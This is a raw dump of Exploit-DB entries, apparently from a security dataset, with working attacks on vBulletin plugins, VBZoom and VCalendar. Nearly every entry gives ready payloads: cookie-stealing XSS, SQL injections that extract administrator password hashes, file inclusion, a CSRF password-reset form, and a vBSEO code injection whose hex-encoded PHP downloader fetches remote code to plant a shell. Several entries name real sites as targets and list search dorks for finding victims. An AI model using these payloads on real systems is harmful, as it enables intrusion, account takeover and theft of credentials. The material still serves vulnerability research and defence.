deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35824
Description: vBulletin vBExperience 3 - 'sortorder' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-06-06
Author: Mr.ThieF

Exploit:
source: https://www.securityfocus.com/bid/48106/info

vBulletin vBExperience is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

vBulletin vBExperience 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/xperience.php?sortfield=xr&sortorder="><script>alert(1);</script>
Exploit-DB #3990
Description: vBulletin vBGSiteMap 2.41 - 'root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-25
Author: Cold Zero

Exploit:
=============================================

vBulletin Google Site Map Creator (base) Remote File Include Vulnerability

=============================================
Found by : Host4vb.com & Cold z3ro
Contact : Admin@host4vb.com , Cold-z3ro@hotmail.com
Homepage : Host4vb.com , Hack-Teach.Org
=============================================
Script : http://forum.time2dine.co.nz/seo-vbulletin/vbulletin-google-site-map-3976.html
=============================================
File :
/vbgsitemap-vbseo.php  <=  Line 5
require $base."includes/functions_vbseo.php";
=============================================
File :
/vbgsitemap-config.php <= Line 139
require $base."includes/config.php";
=============================================
Exploit :
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-config.php?base=Evil-Script?
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-vbseo.php?base=Evil-Script?
==============================================
Greets To : Xp10.com , Hack-Teach Members , All Arabs Hosting , Sniper-sa.com , sm4host.com
Thanx: Mohandko , Alkomandoz Hacker , Mogatil , The Viper , The Wolf Ksa , Dr.Exe , Pro Hackers
Thanx: Green eyas amor , Titanichacker , hacaaar , Hack Back , Mohammad Sallah , Unix Hacker
       RoMaNcYxHaCkEr , mR wEsAm X , Mr.E-vil
Thanx: Team Hell Members (ConviCt & jEdDaWi & Black Shell & Hackers Cool & Dr.killer & Red Hat)

# milw0rm.com [2007-05-25]
Exploit-DB #36232
Description: vBulletin vBSEO 4.x - 'visitormessage.php' Remote Code Injection
Type: webapps
Platform: php
Date: 2015-03-02
Author: Net.Edit0r

Exploit:
#################################################################################################################
[+] Exploit Title: vBulletin 4.x.x 'visitormessage.php' Remote Code Injection Vulnerability
[+] Discovered By: Dariush Nasirpour (Net.Edit0r)
[+] My Homepage: black-hg.org / nasirpour.info
[+] Date: [2015 27 February]
[+] Vendor Homepage: vBulletin.com
[+] Tested on: [vBulletin 4.2.2]
[+] Greeting : Ali Razmjoo - Ehsan Nezami - Arash Shams - Ramin Shahkar and all my freinds ( #bhg )
#################################################################################################################
Remote Code Injection:
+++++++++++++++++++++++++
1) You Must Register In The vBulletin http://server/register.php example:[blackhat]

2) go to your user profile example: [http://server/members/blackhat.html]

3) post something in visitor message and record post data with live http header

[example] : message_backup=&message=For-Test-Sample&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=
1&s=&securitytoken=[PII_REDACTED]-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=[PII_REDACTED]&allow_ajax_qc=1&fromconverse=

4- change message to anything "For-Test-Sample" => "ALEEEEEEEEX"  [because vBulletin don't let you send same comment in a time]

[Now post this with hackbar:]

URL:  http://server/visitormessage.php?do=message

[Post data]
message_backup=&message=ALEEEEEEEEX&wysiwyg=1&sbutton=%D8%A7%D8%B1%D8%B3%D8%A7%D9%84+%D9%BE%DB%8C%D8%BA%D8%A7%D9%85&fromquickcomment=
1&s=&securitytoken=[PII_REDACTED]-5bcfb5b83d466416ed95e80021abee86063cdf6e&do=message&u=110&u2=&loggedinuser=110&parseurl=1&lastcomment=[PII_REDACTED]&allow_ajax_qc=1&fromconverse=

[And referrer data:] 
PoC : http://server/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked")}}]

[Example referrer data:] > upload downloader.php and s.php
PoC : http://server/members/g3n3rall.html?a=$stylevar%5b$%7b$%7bfile_put_contents(
"downloader.php","\x3C\x3F\x70\x68\x70\x0D\x0A\x24\x68\x6F\x6D\x65\x70\x61\x67\x65\x20\x3D\x20\x66\x69\x6C\x65\x5F\x67\x65\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73\x28\x27\x68\x74\x74\x70\x3A\x2F\x2F\x70\x61\x69\x65\x6E\x63\x68\x61\x74\x2E\x63\x6F\x6D\x2F\x64\x2F\x64\x72\x2E\x74\x78\x74\x27\x29\x3B\x0D\x0A\x24\x66\x20\x3D\x20\x66\x6F\x70\x65\x6E\x28\x27\x73\x2E\x70\x68\x70\x27\x2C\x27\x77\x27\x29\x3B\x0D\x0A\x66\x77\x72\x69\x74\x65\x28\x24\x66\x2C\x24\x68\x6F\x6D\x65\x70\x61\x67\x65\x29\x3B\x0D\x0A\x3F\x3E")}}]

5- Open hackbar and tamper it with taper data:
referrer data has been URL encoded by browser , you have to replace this again with tamper data: http://server/members/blackhat.html?a=$stylevar[${${file_put_contents("shell.php","hacked")}}]

and submit request.

################################################################################################################
Exploit-DB #26735
Description: vBulletin vBShout Mod - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-07-10
Author: []0iZy5

Exploit:
##########################################################################################
#
# Exploit Title: vBShout vBulletin - Stored XSS Vulnerability
# Google Dork: intext:vBShout
# Date: 10.07.2013
# Exploit Author: []0iZy5
# Vendor Homepage: www.backtrack-linux.ro
# Software Link: http://www.dragonbyte-tech.com/vbecommerce.php?do=product&productid=2
# Version: vBulletin 3.8.x, vBulletin 4.x.x, vBulletin 5.x.x  
# Tested on: Linux & Windows
#
##########################################################################################
#
# Stage 1: Go to -> UserCP -> Custom Commands 
# (Direct Link:) http://127.0.0.1/[path]/vbshout.php?do=profile&action=customcommands
#
# Stage 2: Add a malicious hash tag.
# (Example:) "><script>alert(document.cookie)</script>
#
##########################################################################################
#
# This was written for educational purpose only. use it at your own risk. 
# Author will be not responsible for any damage caused! user assumes all responsibility.  
# Intended for authorized web application pentesting only! 
#
##########################################################################################
Exploit-DB #35860
Description: vBulletin vBSSO Single Sign-On 1.4.14 - SQL Injection
Type: webapps
Platform: php
Date: 2015-01-20
Author: Technidev

Exploit:
# Exploit Title: vBulletin vBSSO Single Sign-On – <= 1.4.14 – SQL Injection
# Date: January 20, 2015
# Exploit Author: Technidev (https://technidev.com)
# Vendor Homepage: https://vbulletin.com
# Software Link: http://www.vbulletin.org/forum/showthread.php?t=270517
# Version: <= 1.4.14, patched in >= 1.4.15

This plugin is vulnerable to SQL injection at the /vbsso/avatar.php file 
in the fetchUserinfo function.
It requires a big UNION ALL SELECT query and commenting out the LIMIT 
function of SQL. If SQL injection is a success, the browser will 
redirect the user to a URL where the URL contains the extracted information.

To exploit this, you need to execute a rather large UNION ALL SELECT 
query like this:
http://example.com/vbsso/vbsso.php?a=act&do=avatar&id=' or user.userid = 
1 UNION ALL SELECT userfield.*, usertextfield.*, user.*, 
usergroup.genericpermissions, UNIX_TIMESTAMP(passworddate) AS 
passworddate, IF(displaygroupid=0, user.usergroupid, displaygroupid) AS 
displaygroupid, concat(user.password, 0x3a, user.salt) AS avatarpath, 
NOT ISNULL(customavatar.userid) AS hascustomavatar, 
customavatar.dateline AS avatardateline, customavatar.width AS avwidth, 
customavatar.height AS avheight, customavatar.height_thumb AS 
avheight_thumb, customavatar.width_thumb AS avwidth_thumb, 
customavatar.filedata_thumb FROM user AS user LEFT JOIN userfield AS 
userfield ON (user.userid = userfield.userid) LEFT JOIN usergroup AS 
usergroup ON (usergroup.usergroupid = user.usergroupid) LEFT JOIN 
usertextfield AS usertextfield ON (usertextfield.userid = user.userid) 
LEFT JOIN avatar AS avatar ON (avatar.avatarid = user.avatarid) LEFT 
JOIN customavatar AS customavatar ON (customavatar.userid = user.userid) 
WHERE user.userid = 1 ORDER BY avatarpath DESC%23

For example, by visiting this URL on a vulnerable forum, you will be 
redirected to 
http://example.com/9d0d647f535a4c1f493eabf3d69ca89a:nO^sh9;TVNxGJ”X’+3cYkq9Z4Cd3WS 
which obviously contains the hash and salt of userid 1.
Exploit-DB #20956
Description: vBulletin Yet Another Awards System 4.0.2 - SQL Injection
Type: webapps
Platform: php
Date: 2012-08-31
Author: Backsl@sh/Dan

Exploit:
# Exploit Title: vBulletin Yet Another Awards System 4.0.2 Time Based SQL Injection 0day
# Google Dork: inurl:awards.php intext:"powered by vbulletin"
# Date: 29/08/12
# Exploit Author: Backsl@sh/Dan
# Software Link: http://www.vbulletin.org/forum/showthread.php?t=232684
# Version: 4.0.2+



The vulnerability exists within /request_award.php.

$vbulletin->input->clean_array_gpc('p', array(
			'award_id' => TYPE_UINT,
			//'award_request_name' => TYPE_STR,
			//'award_request_recipient_name' => TYPE_STR,
			'award_request_reason' => TYPE_STR,
			'award_request_uid' => TYPE_UNIT,
	));

> $award_request_uid = $vbulletin->GPC['award_request_uid'];
> > $db->query_write("INSERT INTO " . TABLE_PREFIX . "award_requests (award_req_uid, award_rec_uid, award_req_aid, award_req_reason) VALUES ('$award_request_uid', '$award_request_uid', '$award[award_id]', '". $db->escape_string($vbulletin->GPC['award_request_reason']) ."')");

$award_request_uid is used within an insert into statement, unsanitized.


- POC -
http://[site].com/request_award.php
POST: do=submit&name=award_id=[VALID REWARD ID]&award_request_reason=0&award_request_uid=0[SQL]&submit=Submit


Thanks. Have fun.

http://www.bugabuse.net/
Exploit-DB #21921
Description: VBZoom 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2002-10-09
Author: hish

Exploit:
source: https://www.securityfocus.com/bid/5926/info

It has been reported that VBZoom 1.01 may allow attackers to upload arbitrary files to a vulnerable system.

The vulnerability is the result of VBZoom failing to properly validate the types of files that are received. Validation is done through the use of JavaScript on the client side. An attacker can exploit this vulnerability by specifying an arbitrary file to be uploaded. 

Given the ability to upload arbitrary files to the host, an attacker can exploit this vulnerability to upload malicious PHP scripts to the vulnerable system. Any malicious PHP files referenced will be executed in the security context of the site hosting VBZoom.

http://www.victim.com/VBZooM/add-subject.php?Success=1
&FileName=SourceFile&FileName_size=500&FileName_name=DistFile
Exploit-DB #21918
Description: VBZoom 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2002-10-08
Author: hish

Exploit:
source: https://www.securityfocus.com/bid/5919/info

A SQL injection vulnerability has been discovered in VBZoom v1.01.

Due to insufficient sanitization of variables used to construct SQL queries, it is possible to modify the logic of a query, via a malicious request.

Exploiting this issue could allow an attacker to reset the password of an arbitrary forum user. The ability to impersonate arbitrary users could potentially allow an attacker to launch further attacks against the vulnerable server.

Other SQL injection attacks may also be possible.


Exploit code
**************
<form name="f1" action="http://www.victim.com/vbzoom/register.php"
method="POST">
<input type="hidden" name="ChangeProfile" value="1">
User Name: <input type="text" name="UserName"><br>
Password: <input type="text" name="Password"><br>
Email: <input type="text" name="Email">
<input type="hidden" name="HomePage" value="lamerZ">
<input type="hidden" name="VBZooMForumCookiesUserName" value="false">
<input type="hidden" name="VBZooMForumCookiesUserName" value="false">
<input type="submit" value="reset password">
</form>
Exploit-DB #28018
Description: VBZoom 1.0/1.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-06-13
Author: CrAzY CrAcKeR

Exploit:
source: https://www.securityfocus.com/bid/18403/info

VBZooM is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/show.php?UserID=$UserID&MAINID=6&sobjectID=[SQl]
http://www.example.com/show.php?UserID=$UserID&MAINID=[SQL]
http://www.example.com/language.php?Action=[SQL]
http://www.example.com/meaning.php?Action=1&ShowByQuranID=1&QuranID=[SQL]
http://www.example.com/meaning.php?Action=1&ShowByQuranID=[SQL]
http://www.example.com/meaning.php?Action=[SQL]
http://www.example.com/subject.php?MainID=[SQL]
Exploit-DB #26050
Description: VBZoom 1.0/1.11 - 'login.php?UserID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-29
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/14423/info
 
VBZooM Forum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/vbzoom/login.php?UserID='<br><script>alert(document.cookie);</script>
Exploit-DB #26049
Description: VBZoom 1.0/1.11 - 'profile.php?Username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-07-29
Author: almaster

Exploit:
source: https://www.securityfocus.com/bid/14423/info

VBZooM Forum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/vbzoom/profile.php?UserID=1&UserName=<br><script>alert(document.cookie);</script>
Exploit-DB #28033
Description: VBZoom 1.11 - 'forum.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-06-15
Author: CrAsh_oVeR_rIdE

Exploit:
source: https://www.securityfocus.com/bid/18472/info

VBZooM is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

For user :
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,usertitle,7,8,9,10,11,12,13%20from%20Member%20where%20Memberid%20=1/*
Or
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,usertitle,7,8,9,10,11,12,13,14%20from%20Member%20where%20Memberid%20=1/*

For Password : 
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13%20from%20Member%20where%20Memberid%20=1/*
Or
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13,14%20from%20Member%20where%20Memberid%20=1/*
Exploit-DB #28470
Description: VBZoom 1.11 - 'profile.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-01
Author: Crack_MaN

Exploit:
source: https://www.securityfocus.com/bid/19803/info

VBZooM is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/index.php?UserID=http://www.example.com
Exploit-DB #4140
Description: vbzoom 1.x - 'forum.php?MainID' SQL Injection
Type: webapps
Platform: php
Date: 2007-07-02
Author: Cold Zero

Exploit:
--/ Long Life Palestine  --

     HHHHHH  HHHHHH HH      HHHHHH  HHHHHH HHHHHHHH  HHHH HH    HH HHHHHH
     HH   HH HH  HH HH      HHHHH  HH         HH      HH  HHH   HH HHHHH
     HH   HH HH  HH HH      HH     HH         HH      HH  HHHH  HH HH
     HHHHHH  HHHHHH HH      HHHHH   HHHHHH    HH      HH  HH HH HH HHHHHH
     HH      HH  HH HH      HH           HH   HH      HH  HH  HHHH HH
     HH      HH  HH HH      HHHHH        HH   HH      HH  HH   HHH HHHHH
     HH      HH  HH HHHHHHH HHHHHH  HHHHHH    HH     HHHH HH    HH HHHHHH

                 HH  HH HHHHHH HHHHHH HH   HH HHHHHH HHHHHH
                 HH  HH HH  HH HHHHHH HH  HH  HHHHH  HHH HHH
                 HH  HH HH  HH HH     HH HH   HH     HH  HH
                 HHHHHH HHHHHH HH     HHHH    HHHHHH HHHHH
                 HH  HH HH  HH HH     HH HH   HH     HH  HH
                 HH  HH HH  HH HHHHHH HH  HH  HHHHH  HH   HH
                 HH  HH HH  HH HHHHHH HH   HH HHHHHH HH    HH
--/ Long Life Palestine  --

vbzoom 1.x (forum.php MainID) Remote SQL Injection Vulnerabilities

Found By : Cold z3ro , Cold-z3ro@hotmail.com
Homepages : http://hackteach.org , http://h4ps.com

For user :
/forum.php?MainID=-1%20union%20select%201,2,3,4,5,usertitle,7,8,9,10,11,12,13%20from%20Member%20where%20Memberid%20=1/*
Or
/forum.php?MainID=-1%20union%20select%201,2,3,4,5,usertitle,7,8,9,10,11,12,13,14%20from%20Member%20where%20Memberid%20=1/*

For Password : 
/forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13%20from%20Member%20where%20Memberid%20=1/*
Or
/forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13,14%20from%20Member%20where%20Memberid%20=1/*

Example :
http://1yemen.com/vb//forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13%20from%20Member%20where%20Memberid%20=1/*

http://www.vz.elagha.net//forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13,14%20from%20Member%20where%20Memberid%20=1/*

ÃžÃ£Ã¤Ã‡ ÃˆÃŠÃ›Ã­Ã‘ Ã‘Ã‡ÃˆÃ˜ Ã£Ã¦ÃžÃšÃ¤Ã‡ Ã¡Ãœ
http://hackteach.org

-----------
Thx For : RomancyxHacker , Mogatil , Abo0oD , Mohandko , The Wolf Ksa , Root-Shell ,          Viper Hacker , By_3mry , All Friends

# www.hackteach.org

# milw0rm.com [2007-07-02]
Exploit-DB #27347
Description: VBZooM Forum 1.11 - 'comment.php?UserID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-04
Author: Mr.SNAKE

Exploit:
source: https://www.securityfocus.com/bid/16956/info

VBZooM Forum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/vz/comment.php?UserID='>XSS
Exploit-DB #27348
Description: VBZooM Forum 1.11 - 'contact.php?UserID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-04
Author: Mr.SNAKE

Exploit:
source: https://www.securityfocus.com/bid/16956/info
 
VBZooM Forum is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/vz/contact.php?UserID='>XSS
Exploit-DB #27346
Description: VBZoom Forum 1.11 - 'show.php' MainID SQL Injection
Type: webapps
Platform: php
Date: 2006-03-04
Author: Mr.SNAKE

Exploit:
source: https://www.securityfocus.com/bid/16955/info

VBZooM Forum is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/vz/show.php?UserID=1&MainID=[SQL]&SubjectID=1
Exploit-DB #26031
Description: VBZoom Forum 1.11 - 'show.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-07-26
Author: abducter_minds@yahoo.com

Exploit:
source: https://www.securityfocus.com/bid/14383/info

VBZooM Forum is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/vbzoomforum/show.php?UserID=1&MainID=10&SubjectID=[sql]
Exploit-DB #7180
Description: VCalendar - Remote Database Disclosure
Type: webapps
Platform: php
Date: 2008-11-20
Author: Swan

Exploit:
[ - _ +] [ - _ +] [ - _ +] [ - _ +] [ - _ +] [ - _ +] [ - _ +] [ - _ +] [ - _ +] [ - _ +] [ - _ +]

[+] Vcalendar_asp Mdb Vulnerability
[+]
[+] ----------------------------------------------------------
[+] Author : Swan
[+]
[+] Date : 20.11.2008
[+]
[+] Contact : Swantska@Gmail.Com
[+]
[+] -----------------------------------------------------------

Script : Vcalendar_asp

Download : http://www.aspindir.com/indir.asp?id=4048&sIslem=Indir

Dork : "inurl:vcalendar_asp"

Our mdb path : db/VCalendar.mdb

Exploit :

Step 1 - http://www.[target].com/[path]/vcalendar_asp/db/VCalendar.mdb

Step 2 - Download that mdb file and read admin name & pass from "users" table.

Step 3 - http://www.[target].com/[path]/vcalendar_asp/login.asp

Example :

http://www.soest.hawaii.edu/asp/vcalendar_asp/index.asp

http://www.soest.hawaii.edu/asp/vcalendar_asp/db/VCalendar.mdb

http://www.soest.hawaii.edu/asp/vcalendar_asp/login.asp

[+] ----------------------------------------------------------------------
[+] Special Thanks : str0ke & Turkish Nation
[+]
[+] Zone-h.Org & Milw0rm.Com
[+]
[+] ----------------------------------------------------------------------

[ - _ +] [ - _ +] [ - _ +] [ - _ +] [ - _ +] [ - _ +] [ - _ +] [ - _ +] [ - _ +] [ - _ +] [ - _ +]

# milw0rm.com [2008-11-20]